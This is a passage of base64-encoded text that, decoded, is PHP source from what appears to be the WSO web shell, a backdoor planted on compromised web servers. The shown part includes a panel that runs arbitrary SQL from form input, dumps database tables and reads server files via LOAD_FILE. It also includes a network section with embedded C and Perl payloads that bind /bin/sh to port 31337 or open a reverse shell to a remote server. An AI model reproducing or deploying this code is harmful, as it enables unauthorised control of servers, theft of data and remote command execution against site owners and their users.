ZD0icG9zdCI+IA0KICAgICAgICA8dGFibGUgY2VsbHBhZGRpbm c9IjIiIGNlbGxzcGFjaW5nPSIwIj4gDQogICAgICAgICAgICA8 dHI+IA0KICAgICAgICAgICAgICAgIDx0ZD5UeXBlPC90ZD4gDQ ogICAgICAgICAgICAgICAgPHRkPkhvc3Q8L3RkPiANCiAgICAg ICAgICAgICAgICA8dGQ+TG9naW48L3RkPiANCiAgICAgICAgIC AgICAgICA8dGQ+UGFzc3dvcmQ8L3RkPiANCiAgICAgICAgICAg ICAgICA8dGQ+RGF0YWJhc2U8L3RkPiANCiAgICAgICAgICAgIC AgICA8dGQ+PC90ZD4gDQogICAgICAgICAgICA8L3RyPiANCiAg ICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgPGlucH V0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+IA0KICAg ICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPX AxIHZhbHVlPSdxdWVyeSc+IA0KICAgICAgICAgICAgICAgIDxp bnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAyPiANCiAgICAgICAgIC AgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVl PSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXS k7Pz4nPiANCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1o aWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSc8Pz1pc3NldCgkX1 BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106Jyc/Pic+IA0KICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgIC AgICAgICAgICAgIDxzZWxlY3QgbmFtZT0ndHlwZSc+IA0KICAg ICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibX lzcWwiIDw/cGhwIGlmKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJyllY2hvIC dzZWxlY3RlZCc7Pz4+TXlTcWw8L29wdGlvbj4gDQogICAgICAg ICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwZ3NxbC IgPD9waHAgaWYoQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKWVj aG8gJ3NlbGVjdGVkJzs/Pj5Qb3N0Z3JlU3FsPC9vcHRpb24+IA0KICAgICAgICAgICAgIC AgICAgICA8L3NlbGVjdD48L3RkPiANCiAgICAgICAgICAgICAg ICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9ob3N0IH ZhbHVlPSc8Pz0oZW1wdHkoJF9QT1NUWydzcWxfaG9zdCddKT8n bG9jYWxob3N0JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3 FsX2hvc3QnXSkpOz8+Jz48L3RkPiANCiAgICAgICAgICAgICAg ICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9sb2dpbi B2YWx1ZT0nPD89KGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10p Pydyb290JzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2 xvZ2luJ10pKTs/Pic+PC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dC B0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0nPD89KGVt cHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ1 0pKTs/Pic+PC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPiANCiAgIC A8P3BocCANCiAgICAkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQg bmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOyANCiAgICBpZihpc3 NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsgDQogICAgICAgIGlm KCRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE 9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwg JF9QT1NUWydzcWxfYmFzZSddKSkgeyANCiAgICAgICAgICAgIH N3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgeyANCiAgICAgICAg ICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldE NoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsgDQogICAgICAgICAg ICAgICAgY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3 V0ZjgnKTsgYnJlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2Ug IktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYn JlYWs7IA0KICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6 ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7IA0KIC AgICAgICAgICAgICAgIGNhc2UgImNwODY2IjogJGRiLT5zZXRD aGFyc2V0KCdjcDg2NicpOyBicmVhazsgDQogICAgICAgICAgIC B9IA0KICAgICAgICAgICAgJGRiLT5saXN0RGJzKCk7IA0KICAg ICAgICAgICAgZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPj xvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsgDQogICAgICAg ICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgeyANCi AgICAgICAgICAgICAgICBsaXN0KCRrZXksICR2YWx1ZSkgPSBl YWNoKCRpdGVtKTsgDQogICAgICAgICAgICAgICAgZWNobyAnPG 9wdGlvbiB2YWx1ZT0iJy4kdmFsdWUuJyIgJy4oJHZhbHVlPT0k X1BPU1RbJ3NxbF9iYXNlJ10/J3NlbGVjdGVkJzonJykuJz4nLiR2YWx1ZS4nPC9vcHRpb24+Jz sgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZWNobyAn PC9zZWxlY3Q+JzsgDQogICAgICAgIH0gDQogICAgICAgIGVsc2 UgZWNobyAkdG1wOyANCiAgICB9ZWxzZQ0KICAgICAgICBlY2hv ICR0bXA7IA0KICAgID8+PC90ZD4gDQogICAgICAgICAgICAgIC AgPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwv dGQ+IA0KICAgICAgICAgICAgPC90cj4gDQogICAgICAgIDwvdG FibGU+IA0KICAgICAgICA8c2NyaXB0PiANCiAgICAgICAgICAg IGZ1bmN0aW9uIHN0KHQsbCkgeyANCiAgICAgICAgICAgICAgIC Bkb2N1bWVudC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOyANCiAg ICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMi52YWx1ZSA9IH Q7IA0KICAgICAgICAgICAgICAgIGlmKGwhPW51bGwpZG9jdW1l bnQuc2YucDMudmFsdWUgPSBsOyANCiAgICAgICAgICAgICAgIC Bkb2N1bWVudC5zZi5zdWJtaXQoKTsgDQogICAgICAgICAgICB9 IA0KICAgICAgICAgICAgZnVuY3Rpb24gaXMoKSB7IA0KICAgIC AgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5zZi5lbGVt ZW50c1sndGJsW10nXS5sZW5ndGg7KytpKSANCiAgICAgICAgIC AgICAgICAgICAgZG9jdW1lbnQuc2YuZWxlbWVudHNbJ3RibFtd J11baV0uY2hlY2tlZCA9ICFkb2N1bWVudC5zZi5lbGVtZW50c1 sndGJsW10nXVtpXS5jaGVja2VkOyANCiAgICAgICAgICAgIH0g DQogICAgICAgIDwvc2NyaXB0PiANCiAgICA8P3BocCANCiAgIC BpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7IA0KICAgICAg ICBlY2hvICINCjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW 5nPTIgY2VsbHNwYWNpbmc9MD4iOyANCiAgICAgICAgICAgIGlm KCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsgDQogICAgIC AgICAgICAgICAgJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9i YXNlJ10pOyANCiAgICAgICAgICAgICAgICBlY2hvICI8dHI+PH RkIHdpZHRoPTEgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlk ICM2NjY7Ym9yZGVyLXJpZ2h0OjJweCBzb2xpZCAjNjY2Oyc+PH NwYW4+VGFibGVzOjwvc3Bhbj4NCiANCiI7IA0KICAgICAgICAg ICAgICAgICR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOy ANCiAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ ZmV0Y2goJHRibHNfcmVzKSkgeyANCiAgICAgICAgICAgICAgIC AgICAgbGlzdCgka2V5LCAkdmFsdWUpID0gZWFjaCgkaXRlbSk7 IA0KICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2 goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJP TSAnLiR2YWx1ZS4nJykpOyANCiAgICAgICAgICAgICAgICAgIC AgJHZhbHVlID0gaHRtbHNwZWNpYWxjaGFycygkdmFsdWUpOyAN CiAgICAgICAgICAgICAgICAgICAgZWNobyAiPG5vYnI+PGlucH V0IHR5cGU9J2NoZWNrYm94JyBuYW1lPSd0YmxbXScgdmFsdWU9 JyIuJHZhbHVlLiInPiZuYnNwOzxhIGhyZWY9IyBvbmNsaWNrPV wic3QoJyIuJHZhbHVlLiInKVwiPiIuJHZhbHVlLiI8L2E+ICgi LiRuWyduJ10uIik8L25vYnI+DQoiOw0KICAgICAgICAgICAgIC AgIH0gDQogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5 cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dC B0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9j dW1lbnQuc2YucDIudmFsdWU9XCJkb3dubG9hZFwiO2RvY3VtZW 50LnNmLnN1Ym1pdCgpOyc+PC90ZD48dGQgc3R5bGU9J2JvcmRl ci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOyANCiAgICAgICAgIC AgICAgICBpZihAJF9QT1NUWydwMSddID09ICdzZWxlY3QnKSB7 IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AxJ10gPS AncXVlcnknOyANCiAgICAgICAgICAgICAgICAgICAgJGRiLT5x dWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiRfUE 9TVFsncDInXS4nJyk7IA0KICAgICAgICAgICAgICAgICAgICAk bnVtID0gJGRiLT5mZXRjaCgpOyANCiAgICAgICAgICAgICAgIC AgICAgJG51bSA9ICRudW1bJ24nXTsgDQogICAgICAgICAgICAg ICAgICAgIGVjaG8gIjxzcGFuPiIuJF9QT1NUWydwMiddLiI8L3 NwYW4+ICgkbnVtKSAiOyANCiAgICAgICAgICAgICAgICAgICAg Zm9yKCRpPTA7JGk8KCRudW0vMzApOyRpKyspIA0KICAgICAgIC AgICAgICAgICAgICAgICAgaWYoJGkgIT0gKGludCkkX1BPU1Rb J3AzJ10pIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIG VjaG8gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J3N0KFwiIi4kX1BP U1RbJ3AyJ10uIlwiLCAkaSknPiIsKCRpKzEpLCI8L2E+ICI7IA 0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAg ICAgICAgICAgICAgICAgICAgICAgIGVjaG8gKCRpKzEpLCIgIj sgDQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlw ZSddPT0ncGdzcWwnKSANCiAgICAgICAgICAgICAgICAgICAgIC AgICRfUE9TVFsncDMnXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9Q T1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVF sncDMnXSozMCk7IA0KICAgICAgICAgICAgICAgICAgICBlbHNl DQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ1 0gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2Ag TElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsgDQogIC AgICAgICAgICAgICAgICAgIGVjaG8gIg0KIA0KIjsgDQogICAg ICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBpZigoQC RfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9Q T1NUWydwMyddKSkgeyANCiAgICAgICAgICAgICAgICAgICAgJG RiLT5xdWVyeShAJF9QT1NUWydwMyddKTsgDQogICAgICAgICAg ICAgICAgICAgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSkgeyANCi AgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZSA9IGZhbHNl OyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YW JsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRp bmc9MiBjbGFzcz1tYWluPic7IA0KICAgICAgICAgICAgICAgIC AgICAgICAgJGxpbmUgPSAxOyANCiAgICAgICAgICAgICAgICAg ICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSAgIC B7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEk dGl0bGUpICAgIHsgDQogICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgIGVjaG8gJzx0cj4nOyANCiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaXRlbSBhcyAka2 V5ID0+ICR2YWx1ZSkgDQogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPi c7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBy ZXNldCgkaXRlbSk7IA0KICAgICAgICAgICAgICAgICAgICAgIC AgICAgICAgICAkdGl0bGU9dHJ1ZTsgDQogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7IA 0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbGlu ZSA9IDI7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH 0gDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAn PHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOyANCiAgICAgICAgIC AgICAgICAgICAgICAgICAgICAkbGluZSA9ICRsaW5lPT0xPzI6 MTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZW FjaCgkaXRlbSBhcyAka2V5ID0+ICR2YWx1ZSkgeyANCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbHVlID 09IG51bGwpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgZWNobyAnPHRkPjxpPm51bGw8L2k+PC90ZD4nOy ANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxz ZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC AgZWNobyAnPHRkPicubmwyYnIoaHRtbHNwZWNpYWxjaGFycygk dmFsdWUpKS4nPC90ZD4nOyANCiAgICAgICAgICAgICAgICAgIC AgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAg ICAgIGVjaG8gJzwvdHI+JzsgDQogICAgICAgICAgICAgICAgIC AgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNo byAnPC90YWJsZT4nOyANCiAgICAgICAgICAgICAgICAgICAgfS BlbHNlIHsgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hv ICc8ZGl2PjxiPkVycm9yOjwvYj4gJy5odG1sc3BlY2lhbGNoYX JzKCRkYi0+ZXJyb3IoKSkuJzwvZGl2Pic7IA0KICAgICAgICAg ICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIH0gDQogIC AgICAgICAgICAgICAgZWNobyAiDQo8dGV4dGFyZWEgbmFtZT0n cDMnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+Ii 5AaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pLiI8L3Rl eHRhcmVhPg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeG VjdXRlJz4iOyANCiAgICAgICAgICAgICAgICBlY2hvICI8L3Rk PjwvdHI+IjsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgIC AgZWNobyAiPC90YWJsZT48L2Zvcm0+DQo8Zm9ybSBvbnN1Ym1p dD0nZG9jdW1lbnQuc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2 RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1 bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj 5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xz SW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym 1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOyANCiAgICAgICAgICAg IGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ2xvYWRmaWxlJykgeyANCi AgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgTE9B RF9GSUxFKCciLmFkZHNsYXNoZXMoJF9QT1NUWydwMiddKS4iJy kgYXMgZmlsZSIpOyANCiAgICAgICAgICAgICAgICAkZmlsZSA9 ICRkYi0+ZmV0Y2goKTsgDQogICAgICAgICAgICAgICAgZWNoby AnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRm aWxlWydmaWxlJ10pLic8L3ByZT4nOw0KICAgICAgICAgICAgfS ANCiAgICB9IA0KICAgIGVjaG8gJzwvZGl2Pic7IA0KICAgIHBy aW50Rm9vdGVyKCk7IA0KfSANCmZ1bmN0aW9uIGFjdGlvbk5ldH dvcmsoKSB7IA0KICAgIHByaW50SGVhZGVyKCk7IA0KICAgICRi YWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbW crRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBL STJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZE NCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEw cElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOME lITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIy NG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQT lJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJ RDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0 FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJm WVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WT J0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZC UVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bF kzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0pu TnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3 BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVi bVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaU F3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNO Q2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0 daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJn Z0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsgDQ ogICAgJGJhY2tfY29ubmVjdF9wPSJJeUV2ZFhOeUwySnBiaTl3 WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdsaFpHUnlQV2x1Wl hSZllYUnZiaWdrUVZKSFZsc3dYU2tnZkh3Z1pHbGxLQ0pGY25K dmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeV gybHVLQ1JCVWtkV1d6RmRMQ0FrYVdGa1pISXBJSHg4SUdScFpT Z2lSWEp5YjNJNklDUWhYRzRpS1RzTkNpUndjbTkwYnoxblpYUn djbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9V MDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3 dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1 SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1 NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dW dUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1 UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1Ux UkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2 5MMkpwYmk5emFDQXRhU2NwT3cwS1kyeHZjMlVvVTFSRVNVNHBP dzBLWTJ4dmMyVW9VMVJFVDFWVUtUc05DbU5zYjNObEtGTlVSRV ZTVWlrNyI7IA0KICAgICRiaW5kX3BvcnRfYz0iSTJsdVkyeDFa R1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzUnlhVz VuTG1nK0RRb2phVzVqYkhWa1pTQThkVzVwYzNSa0xtZytEUW9q YVc1amJIVmtaU0E4Ym1WMFpHSXVhRDROQ2lOcGJtTnNkV1JsSU R4emRHUnNhV0l1YUQ0TkNtbHVkQ0J0WVdsdUtHbHVkQ0JoY21k akxDQmphR0Z5SUNvcVlYSm5kaWtnZXcwS0lDQWdJR2x1ZENCek xHTXNhVHNOQ2lBZ0lDQmphR0Z5SUhCYk16QmRPdzBLSUNBZ0lI TjBjblZqZENCemIyTnJZV1JrY2w5cGJpQnlPdzBLSUNBZ0lHUm haVzF2YmlneExEQXBPdzBLSUNBZ0lITWdQU0J6YjJOclpYUW9R VVpmU1U1RlZDeFRUME5MWDFOVVVrVkJUU3d3S1RzTkNpQWdJQ0 JwWmlnaGN5a2djbVYwZFhKdUlDMHhPdzBLSUNBZ0lISXVjMmx1 WDJaaGJXbHNlU0E5SUVGR1gwbE9SVlE3RFFvZ0lDQWdjaTV6YV c1ZmNHOXlkQ0E5SUdoMGIyNXpLR0YwYjJrb1lYSm5kbHN4WFNr cE93MEtJQ0FnSUhJdWMybHVYMkZrWkhJdWMxOWhaR1J5SUQwZ2 FIUnZibXdvU1U1QlJFUlNYMEZPV1NrN0RRb2dJQ0FnWW1sdVpD aHpMQ0FvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSm5Jc0lEQj RNVEFwT3cwS0lDQWdJR3hwYzNSbGJpaHpMQ0ExS1RzTkNpQWdJ Q0IzYUdsc1pTZ3hLU0I3RFFvZ0lDQWdJQ0FnSUdNOVlXTmpaWE IwS0hNc01Dd3dLVHNOQ2lBZ0lDQWdJQ0FnWkhWd01paGpMREFw T3cwS0lDQWdJQ0FnSUNCa2RYQXlLR01zTVNrN0RRb2dJQ0FnSU NBZ0lHUjFjRElvWXl3eUtUc05DaUFnSUNBZ0lDQWdkM0pwZEdV b1l5d2lVR0Z6YzNkdmNtUTZJaXc1S1RzTkNpQWdJQ0FnSUNBZ2 NtVmhaQ2hqTEhBc2MybDZaVzltS0hBcEtUc05DaUFnSUNBZ0lD QWdabTl5S0drOU1EdHBQSE4wY214bGJpaHdLVHRwS3lzcERRb2 dJQ0FnSUNBZ0lDQWdJQ0JwWmlnZ0tIQmJhVjBnUFQwZ0oxeHVK eWtnZkh3Z0tIQmJhVjBnUFQwZ0oxeHlKeWtnS1EwS0lDQWdJQ0 FnSUNBZ0lDQWdJQ0FnSUhCYmFWMGdQU0FuWERBbk93MEtJQ0Fn SUNBZ0lDQnBaaUFvYzNSeVkyMXdLR0Z5WjNaYk1sMHNjQ2tnUF QwZ01Da05DaUFnSUNBZ0lDQWdJQ0FnSUhONWMzUmxiU2dpTDJK cGJpOXphQ0F0YVNJcE93MEtJQ0FnSUNBZ0lDQmpiRzl6WlNoak tUc05DaUFnSUNCOURRcDkiOyANCiAgICAkYmluZF9wb3J0X3A9 Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aW FXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5 QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOW phMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5M R2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2 xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6 WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUl ZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhK ZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OE lHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FY TjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVn VJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpa WEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbX NwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xt SUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVk VSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZR c0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0 prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FX VWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUl RTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0pa WGhwZENBd093MEtDWDBOQ24wPSI7IA0KICAgID8+IA0KICAgID xoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRl bnQ+IA0KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9Im cobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5wb3J0 LnZhbHVlLHRoaXMucGFzcy52YWx1ZSk7cmV0dXJuIGZhbHNlOy I+IA0KICAgIDxzcGFuPkJpbmQgcG9ydCB0byAvYmluL3NoPC9z cGFuPg0KICANCiAgICBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dC cgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gUGFzc3dvcmQ6 IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJyB2YWx1ZT 0nd3NvJz4gVXNpbmc6IDxzZWxlY3QgbmFtZT0idXNpbmciPjxv cHRpb24gdmFsdWU9J2JwYyc+Qzwvb3B0aW9uPjxvcHRpb24gdm FsdWU9J2JwcCc+UGVybDwvb3B0aW9uPjwvc2VsZWN0PiA8aW5w dXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4gDQogICAgPC9mb3 JtPiANCiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJn KG51bGwsbnVsbCx0aGlzLnVzaW5nLnZhbHVlLHRoaXMuc2Vydm VyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNl OyI+IA0KICAgIDxzcGFuPkJhY2stY29ubmVjdCB0bzwvc3Bhbj 4NCiAgDQogICAgU2VydmVyOiA8aW5wdXQgdHlwZT0ndGV4dCcg bmFtZT0nc2VydmVyJyB2YWx1ZT0nPD89JF9TRVJWRVJbJ1JFTU 9URV9BRERSJ10/Pic+IFBvcnQ6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3 J0JyB2YWx1ZT0nMzEzMzcnPiBVc2luZzogPHNlbGVjdCBuYW1l PSJ1c2luZyI+PG9wdGlvbiB2YWx1ZT0nYmNjJz5DPC9vcHRpb2 4+PG9wdGlvbiB2YWx1ZT0nYmNwJz5QZXJsPC9vcHRpb24+PC9z ZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPi ANCiAgICA8L2Zvcm0+DQogIA0KICAgIDw/cGhwIA0KICAgIGlmKGlzc2V0KCRfUE9TVFsncDEnXSkpIHsgDQ ogICAgICAgIGZ1bmN0aW9uIGNmKCRmLCR0KSB7IA0KICAgICAg 